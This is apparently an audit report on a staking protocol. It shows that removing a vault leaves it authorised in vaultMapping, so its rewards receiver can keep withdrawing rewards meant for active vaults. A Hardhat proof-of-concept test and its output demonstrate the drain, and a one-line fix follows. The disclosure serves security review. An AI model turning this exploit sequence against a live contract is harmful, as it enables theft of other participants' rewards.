Summary
A removed vault can still withdraw rewards due to an incomplete removal process in OperatorVCS::removeVault.
Vulnerability Details
OperatorVCS::addVault() function adds a newly created vault to vaultMapping. But after the vault is removed function removeVaultdoes not remove it from vaultMapping.
This means a removed vault can still pass a check in the withdrawOperatorRewards function and take rewards again.
withdrawOperatorRewardsalso called in OperatorVault::withdrawRewards() that is protected via onlyRewardsReceiver which means rewardReceiver can remove vault but continue collecting the rewards.
function addVault(
address _operator,
address _rewardsReceiver,
address _pfAlertsController
) external onlyOwner {
vaultMapping[address(vaults[vaults.length - 1])] = true;
}
function withdrawOperatorRewards(
address _receiver,
uint256 _amount
) external returns (uint256) {
@> if (!vaultMapping[msg.sender]) revert SenderNotAuthorized();
IERC20Upgradeable lsdToken = IERC20Upgradeable(address(stakingPool));
uint256 withdrawableRewards = lsdToken.balanceOf(address(this));
uint256 amountToWithdraw = _amount > withdrawableRewards ? withdrawableRewards : _amount;
unclaimedOperatorRewards -= amountToWithdraw;
lsdToken.safeTransfer(_receiver, amountToWithdraw);
return amountToWithdraw;
}
PoC
Add this test to operator-vcs.test.tsand run it
it.only('withdrawOperatorRewards: removed vault can exploit and drain rewards', async () => {
const {
signers,
accounts,
adrs,
strategy,
stakingPool,
rewardsController,
vaults,
fundFlowController,
stakingController,
} = await loadFixture(deployFixture)
await stakingPool.deposit(accounts[0], toEther(1000), [encodeVaults([])])
let vault = (await ethers.getContractAt('OperatorVault', vaults[0])) as OperatorVault
await rewardsController.setReward(vaults[0], toEther(100))
await stakingPool.updateStrategyRewards([0], encode(0))
await vault.connect(signers[1]).withdrawRewards()
const balanceAfterInitialWithdrawal = await stakingPool.balanceOf(accounts[1])
console.log('Balance after firts withdrawal:', fromEther(balanceAfterInitialWithdrawal))
await fundFlowController.updateVaultGroups()
await time.increase(await fundFlowController.claimPeriod())
await fundFlowController.updateVaultGroups()
await stakingController.removeOperator(vaults[0])
await strategy.queueVaultRemoval(0)
await time.increase(await fundFlowController.claimPeriod())
await fundFlowController.updateVaultGroups()
await strategy.removeVault(0)
console.log('Vault0 removed')
await rewardsController.setReward(vaults[1], toEther(100))
await stakingPool.updateStrategyRewards([0], encode(0))
console.log('New rewards set for vault1 after vault0 removal')
await vault.connect(signers[1]).withdrawRewards()
console.log('@> Withdrew secont time is successfull <@')
const balanceAfterSecondWithdrawal = await stakingPool.balanceOf(accounts[1])
console.log('Balance after second withdrawal:', fromEther(balanceAfterSecondWithdrawal))
console.log(
'Additional rewards drained:',
fromEther(balanceAfterSecondWithdrawal - balanceAfterInitialWithdrawal)
)
})
Balance after firts withdrawal: 10
Vault0 removed
New rewards set for vault1 after vault0 removal
@> Withdrew secont time is successfull <@
Balance after second withdrawal: 10.772727272727273
Additional rewards drained: 0.7727272727272727
✔ withdrawOperatorRewards: removed vault can exploit and drain rewards (1864ms)
Impact
rewardReceiver can call OperatorVault::withdrawRewards() over and over again after the vault is removed.
It means removed vaults can steal rewards meant for active vaults.
Tools Used
Manual review
Recommendations
Add vaultMapping[vault] = false to the end ofremoveVault()function
function removeVault(uint256 _queueIndex) public {
vaultMapping[vault] = false;
}
